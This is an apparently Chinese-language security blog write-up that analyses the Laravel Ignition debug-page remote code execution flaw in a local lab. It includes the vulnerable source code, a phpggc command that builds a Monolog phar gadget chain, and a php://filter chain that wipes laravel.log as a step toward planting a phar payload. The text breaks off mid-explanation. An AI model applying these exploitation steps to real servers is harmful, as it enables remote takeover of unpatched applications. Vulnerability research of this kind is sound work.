测试环境
-
OS: MAC OS
-
PHP: 7.3.18
-
Laravel: 8.22.0
环境搭建
根据原文(https://www.ambionics.io/blog/laravel-debug-rce)的搭建方式,把服务开起来。
访问http://127.0.0.1:8000/
可以看到这时候Ignition
(Laravel 6+默认错误页面生成器)给我们提供了一个solutions,让我们在配置文件中给Laravel配置一个加密key。点击按钮后会发送一个请求
通过这个请求Ignition
成功在配置文件中生成了一个key。
接着页面就可以正常访问了,环境也就搭建完了
漏洞分析
漏洞其实就是发生在上面提到的Ignition
(<=2.5.1)中,Ignition
默认提供了以下几个solutions。
通过这些solutions,开发者可以通过点击按钮的方式,快速修复一些错误。本次漏洞就是其中的vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
过滤不严谨导致的。首先我们到执行solution的控制器当中去,看看是如何调用到solution的
<?php
namespace FacadeIgnitionHttpControllers;
use FacadeIgnitionHttpRequestsExecuteSolutionRequest;
use FacadeIgnitionContractsSolutionProviderRepository;
use IlluminateFoundationValidationValidatesRequests;
class ExecuteSolutionController
{
use ValidatesRequests;
public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();
$solution->run($request->get('parameters', []));
return response('');
}
}
接着调用solution对象中的run()
方法,并将可控的parameters
参数传过去。通过这个点我们可以调用到MakeViewVariableOptionalSolution::run()
<?php
namespace FacadeIgnitionSolutions;
use FacadeIgnitionContractsRunnableSolution;
use IlluminateSupportFacadesBlade;
class MakeViewVariableOptionalSolution implements RunnableSolution
{
...
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}
return $expectedTokens;
}
}
可以看到这里主要功能点是:读取一个给定的路径,并替换$variableName
为$variableName ?? ''
,之后写回文件中。由于这里调用了file_get_contents()
,且其中的参数可控,所以这里可以通过phar://
协议去触发phar反序列化。如果后期利用框架进行开发的人员,写出了一个文件上传的功能。那么我们就可以上传一个恶意phar文件,利用上述的file_get_contents()
去触发phar反序列化,达到rce的效果。
phar反序列化
从phpggc里拿一条laravel中存在的拓展的链子。
./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o /Applications/MxSrvs/www/laravel/phar.gif
log 转 phar
先来看看正常的log文件长什么样
-
/storage/logs/laravel.log
[2021-01-14 04:32:43] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\Foundation\Bootstrap\HandleExceptions->handleError(2, 'file_get_conten...', '/Applications/M...', 75, Array)
#1 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')
#2 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->makeOptional(Array)
#3 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->run(Array)
#4 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\Ignition\Http\Controllers\ExecuteSolutionController->__invoke(Object(Facade\Ignition\Http\Requests\ExecuteSolutionRequest), Object(Facade\Ignition\SolutionProviders\SolutionProviderRepository))
#5 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(254): Illuminate\Routing\ControllerDispatcher->dispatch(Object(Illuminate\Routing\Route), Object(Facade\Ignition\Http\Controllers\ExecuteSolutionController), '__invoke')
#6 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(197): Illuminate\Routing\Route->runController()
...
#34 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\Foundation\Http\Kernel->sendRequestThroughRouter(Object(Illuminate\Http\Request))
#35 /Applications/MxSrvs/www/laravel/public/index.php(52): Illuminate\Foundation\Http\Kernel->handle(Object(Illuminate\Http\Request))
#36 /Applications/MxSrvs/www/laravel/server.php(21): require_once('/Applications/M...')
#37 {main}
"}
清空log文件
作者在文章中提出了使用php://filter
中的convert.base64-decode
过滤器的特性,将log清空。
convert.base64-decode
过滤器会将一些非base64字符给过滤掉后再进行decode
,所以可以通过调用多次convert.base64-decode
多次触发该特性来将log清空。=
号后面出现了别的base64字符,那么php是会报一个Warning的。且由于laravel开启了debug模式,所以会触发Ignition
生成错误页面,导致decode后的字符没有成功写入。根据这个思路的原理,我们可以将清空日志分成两个步骤:
-
使log文件尽量变成非base64字符 -
通过 convert.base64-decode
将所有非base64字符decode,达到清空的目的
作者在第一步使用的方法为多次convert.base64-decode
,但是这样可能会在其中的某一环报上面提到的错误。所以我们可以想办法找到另外一种方式达到第一步的目的。原log文件
-
使用
convert.iconv.utf-8.utf-16be
(UTF-8 -> UTF-16BE) -
使用
convert.quoted-printable-encode
(打印所有不可见字符) -
使用
convert.iconv.utf-16be.utf-8
(UTF-16BE -> UTF-8)
可以看到经过这样操作后log文件中所有字符变成了非base64字符,这时候再使用convert.base64-decode
过滤器就可以成功清空了。
将上述链条合起来就是php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
这样我们就完成了第一步。
写入符合规范的phar文件
我们可以通过这里的file_get_contents()
去触发日志的记录
[时间] [某些字符] PAYLOAD [某些字符] PAYLOAD [某些字符] 部分PAYLOAD [某些字符]
我们的PAYLOAD会在log文件中完整出现两次,我们最终需要让log文件变成我们的恶意Phar文件。所以我们还得继续对log文件进行操作。
原作者给出了一种使用convert.iconv.utf-16le.utf-8
将utf-16转成utf-8的方案
file_get_contents()
传入
评论